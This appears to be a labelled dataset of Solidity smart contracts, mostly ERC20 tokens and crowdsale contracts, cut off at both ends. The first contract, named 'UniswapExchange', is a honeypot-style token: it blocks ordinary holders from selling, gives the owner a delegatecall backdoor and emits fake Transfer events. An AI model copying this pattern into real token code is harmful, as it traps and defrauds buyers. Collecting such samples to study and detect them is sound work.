(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,528 |
pragma solidity ^0.4.16;
interface Token {
function transferFrom(address _from, address _to, uint256 _value) external;
}
contract RgiftTokenSale {
Token public tokenReward;
address public creator;
address public owner = 0x829130A7Af5A4654aF6d7bC06125a1Bcf32cd8cA;
uint256 public price;
uint256 public startDate;
modifier isCreator() {
require(msg.sender == creator);
_;
}
event FundTransfer(address backer, uint amount, bool isContribution);
function RgiftTokenSale() public {
creator = msg.sender;
startDate = 1527022077;
price = 140000;
tokenReward = Token(0x2b93194d0984201aB0220A3eC6B80D9a0BD49ed7);
}
function setOwner(address _owner) isCreator public {
owner = _owner;
}
function setCreator(address _creator) isCreator public {
creator = _creator;
}
function setStartDate(uint256 _startDate) isCreator public {
startDate = _startDate;
}
function setPrice(uint256 _price) isCreator public {
price = _price;
}
function setToken(address _token) isCreator public {
tokenReward = Token(_token);
}
function kill() isCreator public {
selfdestruct(owner);
}
function () payable public {
require(msg.value == (1 ether / 2) || msg.value == 1 ether || msg.value == (1 ether + (1 ether / 2)) || msg.value == 2 ether || msg.value >= 3 ether);
require(now > startDate);
uint amount = 0;
if (msg.value < 1 ether){
amount = msg.value * price;
} else if (msg.value >= 1 ether && msg.value < 2 ether){
amount = msg.value * price;
uint _amount = amount / 10;
amount += _amount * 3;
} else if (msg.value >= 2 ether && msg.value < 3 ether){
amount = msg.value * price;
_amount = amount / 5;
amount += _amount * 2;
} else if (msg.value >= 3 ether){
amount = msg.value * price;
_amount = amount / 5;
amount += _amount * 3;
}
tokenReward.transferFrom(owner, msg.sender, amount);
FundTransfer(msg.sender, amount, true);
owner.transfer(msg.value);
}
} | 1 | 3,209 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract STRI is StandardToken {
string public name = "STARI";
string public symbol = "STRI";
uint public decimals = 0;
uint public INITIAL_SUPPLY = 70000000;
function STRI() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 3,049 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract THTokenSale is Pausable {
using SafeMath for uint256;
THToken public token;
uint256 public fundsRaised = 0;
uint256 public constant SOFT_CAP = 3000 ether;
uint256 public constant HARD_CAP = 12000 ether;
bool public softCapReached = false;
bool public hardCapReached = false;
bool public saleSuccessfullyFinished = false;
uint256[5] public stageCaps = [
3000 ether,
4800 ether,
7050 ether,
9300 ether,
12000 ether
];
uint256[5] public stageTokenMul = [
5040,
4320,
3960,
3780,
3600
];
uint256 public activeStage = 0;
uint256 public constant MIN_INVESTMENT_PHASE1 = 5 ether;
uint256 public constant MIN_INVESTMENT = 0.1 ether;
bool public refundAllowed = false;
uint256[3] public varTokenAllocation = [5, 5, 10];
uint256[4] public teamTokenAllocation = [5, 5, 5, 5];
uint256 public constant CROWDSALE_ALLOCATION = 60;
uint256[4] public vestedTeam = [0, 0, 0, 0];
uint256 public vestedAdvisors = 0;
address public wallet;
address public walletCoreTeam;
address public walletPlatform;
address public walletBountyAndAdvisors;
uint256 public startTime;
uint256 public endTime;
mapping(address => uint256) public whitelist;
mapping(address => uint256) public weiBalances;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Whitelisted(address indexed beneficiary, uint256 value);
event SoftCapReached();
event HardCapReached();
event Finalized(bool successfullyFinished);
event StageOpened(uint stage);
event StageClosed(uint stage);
modifier beforeSaleEnds() {
require(now < endTime && fundsRaised < HARD_CAP);
_;
}
function THTokenSale(
uint256 _startTime,
address _wallet,
address _walletCoreTeam,
address _walletPlatform,
address _walletBountyAndAdvisors
) public {
require(_startTime >= now);
require(_wallet != 0x0);
require(_walletCoreTeam != 0x0);
require(_walletPlatform != 0x0);
require(_walletBountyAndAdvisors != 0x0);
require(vestedTeam.length == teamTokenAllocation.length);
require(stageCaps.length == stageTokenMul.length);
token = new THToken();
wallet = _wallet;
walletCoreTeam = _walletCoreTeam;
walletPlatform = _walletPlatform;
walletBountyAndAdvisors = _walletBountyAndAdvisors;
startTime = _startTime;
endTime = _startTime + 32 * 86400;
}
function() public payable {
buyTokens(msg.sender);
}
function activateNextStage() onlyOwner public {
uint256 stageIndex = activeStage;
require(fundsRaised >= stageCaps[stageIndex]);
require(stageIndex + 1 < stageCaps.length);
activeStage = stageIndex + 1;
StageOpened(activeStage + 1);
}
function buyTokens(address contributor) whenNotPaused beforeSaleEnds public payable {
uint256 _stageIndex = activeStage;
uint256 refund = 0;
uint256 weiAmount = msg.value;
uint256 _activeStageCap = stageCaps[_stageIndex];
require(fundsRaised < _activeStageCap);
require(validPurchase());
require(canContribute(contributor, weiAmount));
uint256 capDelta = _activeStageCap.sub(fundsRaised);
if (capDelta < weiAmount) {
weiAmount = capDelta;
refund = msg.value.sub(weiAmount);
}
uint256 tokensToMint = weiAmount.mul(stageTokenMul[_stageIndex]);
whitelist[contributor] = whitelist[contributor].sub(weiAmount);
weiBalances[contributor] = weiBalances[contributor].add(weiAmount);
fundsRaised = fundsRaised.add(weiAmount);
token.mint(contributor, tokensToMint);
if (refund > 0) {
msg.sender.transfer(refund);
}
TokenPurchase(0x0, contributor, weiAmount, tokensToMint);
if (fundsRaised >= _activeStageCap) {
finalizeCurrentStage();
}
}
function canContribute(address contributor, uint256 weiAmount) public view returns (bool) {
require(contributor != 0x0);
require(weiAmount > 0);
return (whitelist[contributor] >= weiAmount);
}
function addWhitelist(address contributor, uint256 weiAmount) onlyOwner public returns (bool) {
require(contributor != 0x0);
require(weiAmount > 0);
whitelist[contributor] = weiAmount;
Whitelisted(contributor, weiAmount);
return true;
}
function addWhitelistBulk(address[] contributors, uint256[] amounts) onlyOwner beforeSaleEnds public returns (bool) {
address contributor;
uint256 amount;
require(contributors.length == amounts.length);
for (uint i = 0; i < contributors.length; i++) {
contributor = contributors[i];
amount = amounts[i];
require(addWhitelist(contributor, amount));
}
return true;
}
function withdraw() onlyOwner public {
require(softCapReached);
require(this.balance > 0);
wallet.transfer(this.balance);
}
function withdrawCoreTeamTokens() onlyOwner public {
require(saleSuccessfullyFinished);
if (now > startTime + 720 days && vestedTeam[3] > 0) {
token.transfer(walletCoreTeam, vestedTeam[3]);
vestedTeam[3] = 0;
}
if (now > startTime + 600 days && vestedTeam[2] > 0) {
token.transfer(walletCoreTeam, vestedTeam[2]);
vestedTeam[2] = 0;
}
if (now > startTime + 480 days && vestedTeam[1] > 0) {
token.transfer(walletCoreTeam, vestedTeam[1]);
vestedTeam[1] = 0;
}
if (now > startTime + 360 days && vestedTeam[0] > 0) {
token.transfer(walletCoreTeam, vestedTeam[0]);
vestedTeam[0] = 0;
}
}
function withdrawAdvisorTokens() onlyOwner public {
require(saleSuccessfullyFinished);
if (now > startTime + 180 days && vestedAdvisors > 0) {
token.transfer(walletBountyAndAdvisors, vestedAdvisors);
vestedAdvisors = 0;
}
}
function refund() public {
require(refundAllowed);
require(!softCapReached);
require(weiBalances[msg.sender] > 0);
uint256 currentBalance = weiBalances[msg.sender];
weiBalances[msg.sender] = 0;
msg.sender.transfer(currentBalance);
}
function finishCrowdsale() onlyOwner public returns (bool) {
require(now >= endTime || fundsRaised >= HARD_CAP);
require(!saleSuccessfullyFinished && !refundAllowed);
if (softCapReached) {
uint256 _crowdsaleAllocation = CROWDSALE_ALLOCATION;
uint256 crowdsaleTokens = token.totalSupply();
uint256 tokensBounty = crowdsaleTokens.mul(varTokenAllocation[0]).div(_crowdsaleAllocation);
uint256 tokensAdvisors = crowdsaleTokens.mul(varTokenAllocation[1]).div(_crowdsaleAllocation);
uint256 tokensPlatform = crowdsaleTokens.mul(varTokenAllocation[2]).div(_crowdsaleAllocation);
vestedAdvisors = tokensAdvisors;
uint256 tokensTeam = 0;
uint len = teamTokenAllocation.length;
uint amount = 0;
for (uint i = 0; i < len; i++) {
amount = crowdsaleTokens.mul(teamTokenAllocation[i]).div(_crowdsaleAllocation);
vestedTeam[i] = amount;
tokensTeam = tokensTeam.add(amount);
}
token.mint(walletBountyAndAdvisors, tokensBounty);
token.mint(walletPlatform, tokensPlatform);
token.mint(this, tokensAdvisors);
token.mint(this, tokensTeam);
token.endMinting(true);
saleSuccessfullyFinished = true;
Finalized(true);
return true;
} else {
refundAllowed = true;
token.endMinting(false);
Finalized(false);
return false;
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return token.balanceOf(_owner);
}
function hasStarted() public view returns (bool) {
return now >= startTime;
}
function hasEnded() public view returns (bool) {
return now >= endTime || fundsRaised >= HARD_CAP;
}
function validPurchase() internal view returns (bool) {
if(now <= (startTime + 200000) && msg.value < MIN_INVESTMENT_PHASE1) {
return false;
}
bool withinPeriod = now >= startTime && now <= endTime;
bool withinPurchaseLimits = msg.value >= MIN_INVESTMENT;
return withinPeriod && withinPurchaseLimits;
}
function finalizeCurrentStage() internal {
uint256 _stageIndex = activeStage;
if (_stageIndex == 0) {
softCapReached = true;
SoftCapReached();
} else if (_stageIndex == stageCaps.length - 1) {
hardCapReached = true;
HardCapReached();
}
StageClosed(_stageIndex + 1);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract THToken is MintableToken {
string public constant name = "Tradershub Token";
string public constant symbol = "THT";
uint8 public constant decimals = 18;
bool public transferAllowed = false;
event TransferAllowed(bool transferIsAllowed);
modifier canTransfer() {
require(mintingFinished && transferAllowed);
_;
}
function transferFrom(address from, address to, uint256 value) canTransfer public returns (bool) {
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) canTransfer public returns (bool) {
return super.transfer(to, value);
}
function endMinting(bool _transferAllowed) onlyOwner canMint public returns (bool) {
if (!_transferAllowed) {
selfdestruct(msg.sender);
return true;
}
transferAllowed = _transferAllowed;
TransferAllowed(_transferAllowed);
return super.finishMinting();
}
} | 1 | 3,796 |
pragma solidity ^0.4.18;
contract ReceivingContractCallback {
function tokenFallback(address _from, uint _value) public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LightcashCryptoToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
string public constant name = 'Lightcash crypto';
string public constant symbol = 'LCCT';
uint32 public constant decimals = 18;
bool public mintingFinished = false;
address public saleAgent;
mapping(address => bool) public authorized;
mapping(address => bool) public registeredCallbacks;
function transfer(address _to, uint256 _value) public returns (bool) {
return processCallback(super.transfer(_to, _value), msg.sender, _to, _value);
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
return processCallback(super.transferFrom(from, to, value), from, to, value);
}
function setSaleAgent(address newSaleAgent) public {
require(saleAgent == msg.sender || owner == msg.sender);
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(!mintingFinished);
require(msg.sender == saleAgent);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(address(0), _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public returns (bool) {
require(!mintingFinished);
require(msg.sender == owner || msg.sender == saleAgent);
mintingFinished = true;
MintFinished();
return true;
}
function registerCallback(address callback) public onlyOwner {
registeredCallbacks[callback] = true;
}
function deregisterCallback(address callback) public onlyOwner {
registeredCallbacks[callback] = false;
}
function processCallback(bool result, address from, address to, uint value) internal returns(bool) {
if (result && registeredCallbacks[to]) {
ReceivingContractCallback targetCallback = ReceivingContractCallback(to);
targetCallback.tokenFallback(from, value);
}
return result;
}
}
contract CommonTokenEvent is Ownable {
using SafeMath for uint;
uint public constant PERCENT_RATE = 100;
uint public price;
uint public start;
uint public period;
uint public minPurchaseLimit;
uint public minted;
uint public hardcap;
uint public invested;
uint public referrerPercent;
uint public maxReferrerTokens;
address public directMintAgent;
address public wallet;
LightcashCryptoToken public token;
modifier canMint() {
require(now >= start && now < lastSaleDate() && msg.value >= minPurchaseLimit && minted < hardcap);
_;
}
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
function sendReferrerTokens(uint tokens) internal {
if (msg.data.length == 20) {
address referrer = bytesToAddres(bytes(msg.data));
require(referrer != address(token) && referrer != msg.sender);
uint referrerTokens = tokens.mul(referrerPercent).div(PERCENT_RATE);
if(referrerTokens > maxReferrerTokens) {
referrerTokens = maxReferrerTokens;
}
mintAndSendTokens(referrer, referrerTokens);
}
}
function bytesToAddres(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for (uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function setMaxReferrerTokens(uint newMaxReferrerTokens) public onlyOwner {
maxReferrerTokens = newMaxReferrerTokens;
}
function setHardcap(uint newHardcap) public onlyOwner {
hardcap = newHardcap;
}
function setToken(address newToken) public onlyOwner {
token = LightcashCryptoToken(newToken);
}
function setReferrerPercent(uint newReferrerPercent) public onlyOwner {
referrerPercent = newReferrerPercent;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setPrice(uint newPrice) public onlyOwner {
price = newPrice;
}
function lastSaleDate() public view returns(uint) {
return start + period * 1 days;
}
function setMinPurchaseLimit(uint newMinPurchaseLimit) public onlyOwner {
minPurchaseLimit = newMinPurchaseLimit;
}
function setWallet(address newWallet) public onlyOwner {
wallet = newWallet;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function directMint(address to, uint investedWei) public onlyDirectMintAgentOrOwner {
calculateAndTransferTokens(to, investedWei);
}
function directMintTokens(address to, uint count) public onlyDirectMintAgentOrOwner {
mintAndSendTokens(to, count);
}
function mintAndSendTokens(address to, uint amount) internal {
token.mint(to, amount);
minted = minted.add(amount);
}
function calculateAndTransferTokens(address to, uint investedInWei) internal returns(uint) {
uint tokens = calculateTokens(investedInWei);
mintAndSendTokens(to, tokens);
invested = invested.add(investedInWei);
return tokens;
}
function calculateAndTransferTokensWithReferrer(address to, uint investedInWei) internal {
uint tokens = calculateAndTransferTokens(to, investedInWei);
sendReferrerTokens(tokens);
}
function calculateTokens(uint investedInWei) public view returns(uint);
function createTokens() public payable;
function() external payable {
createTokens();
}
function retrieveTokens(address to, address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
}
contract PreTGE is CommonTokenEvent {
uint public softcap;
bool public refundOn;
bool public softcapAchieved;
address public nextSaleAgent;
mapping (address => uint) public balances;
event RefundsEnabled();
event SoftcapReached();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function calculateTokens(uint investedInWei) public view returns(uint) {
return investedInWei.mul(price).div(1 ether);
}
function setNextSaleAgent(address newNextSaleAgent) public onlyOwner {
nextSaleAgent = newNextSaleAgent;
}
function setSoftcap(uint newSoftcap) public onlyOwner {
softcap = newSoftcap;
}
function refund() public {
require(now > start && refundOn && balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
Refunded(msg.sender, value);
}
function widthraw() public {
require(softcapAchieved);
wallet.transfer(this.balance);
}
function createTokens() public payable canMint {
balances[msg.sender] = balances[msg.sender].add(msg.value);
super.calculateAndTransferTokensWithReferrer(msg.sender, msg.value);
